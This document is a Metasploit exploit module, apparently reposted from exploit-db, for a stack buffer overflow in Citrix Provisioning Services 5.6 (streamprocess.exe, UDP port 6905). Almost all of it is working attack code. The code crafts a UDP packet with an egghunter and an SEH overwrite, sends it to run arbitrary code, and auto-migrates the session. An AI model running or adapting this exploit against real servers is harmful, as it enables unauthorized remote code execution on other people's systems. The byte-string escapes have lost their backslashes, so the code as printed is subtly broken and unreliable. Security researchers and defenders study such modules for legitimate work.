Citrix Provisioning Services 5.6 streamprocess.exe Buffer Overflow

##

# $Id: citrix_streamprocess.rb 13042 2011-06-27 18:00:12Z sinn3r $

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::Remote::Udp

include Msf::Exploit::Remote::Egghunter

def initialize(info = {})

super(update_info(info,

'Name' => 'Citrix Provisioning Services 5.6 streamprocess.exe Buffer Overflow',

'Description' => %q{

This module exploits a stack buffer overflow in Citrix Provisioning Services 5.6.

By sending a specially crafted packet to the Provisioning Services server, a fixed

length buffer on the stack can be overflowed and arbitrary code can be executed.

},

'Author' => 'mog',

'License' => MSF_LICENSE,

'Version' => '$Revision: 13042 $',

'References' =>

[

[ 'OSVDB', '70597'],

[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-023/' ],

[ 'URL', 'http://secunia.com/advisories/42954/' ],

[ 'URL', 'http://support.citrix.com/article/CTX127149' ],

],

'DefaultOptions' =>

{

# best at delaying/preventing target crashing post-exploit

'EXITFUNC' => 'process',

'InitialAutoRunScript' => 'migrate -f',

},

'Payload' =>

{

'BadChars' => "x00", # Only "x00x00" breaks the overflow, but this is safer

},

'Platform' => 'win',

'Targets' =>

[

# pop/pop/ret in streamprocess.exe

# Service runs and automatically shuts down in Win 7

[ 'Windows XP SP3 / Windows Server 2003 SP2 / Windows Vista', { 'Ret' => 0x00423d32 } ],

],

'Privileged' => true,

'DefaultTarget' => 0,

'DisclosureDate' => 'Jan 20 2011'))

register_options([Opt::RPORT(6905)], self.class)

end

def exploit

eggoptions =

{

:checksum => true,

:eggtag => 'W00t',

}

hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)

sploit = "x10x00x02x40" # message type

sploit << rand_text_alpha_upper(30)

sploit << "x00x01x00x00" # length field

sploit << rand_text_alpha_upper(400)

sploit << hunter

sploit << rand_text_alpha_upper(64 - hunter.length)

sploit << "xEBxBE" # Jump back 66 bytes to hunter because there's

sploit << rand_text_alpha_upper(2) # only 24 bytes of cyclic copy after ret

sploit << [target.ret].pack('V') # SE handler

sploit << rand_text_alpha_upper(50) # Need >= 24 bytes to keep the tag out of the stack

sploit << egg # Payload has a whole page to itself

print_status("Trying target #{target.name}...")

connect_udp

udp_sock.put(sploit)

print_status("Exploit sent, wait for egghunter.")

select(nil, nil, nil, 4) # takes about 8 seconds in tests

handler(udp_sock)

disconnect_udp

end

Fonte: http://www.exploit-db.com/exploits/17456/

Citrix Provisioning Services 5.6 Overflow

Citrix Provisioning Services 5.6 streamprocess.exe Buffer Overflow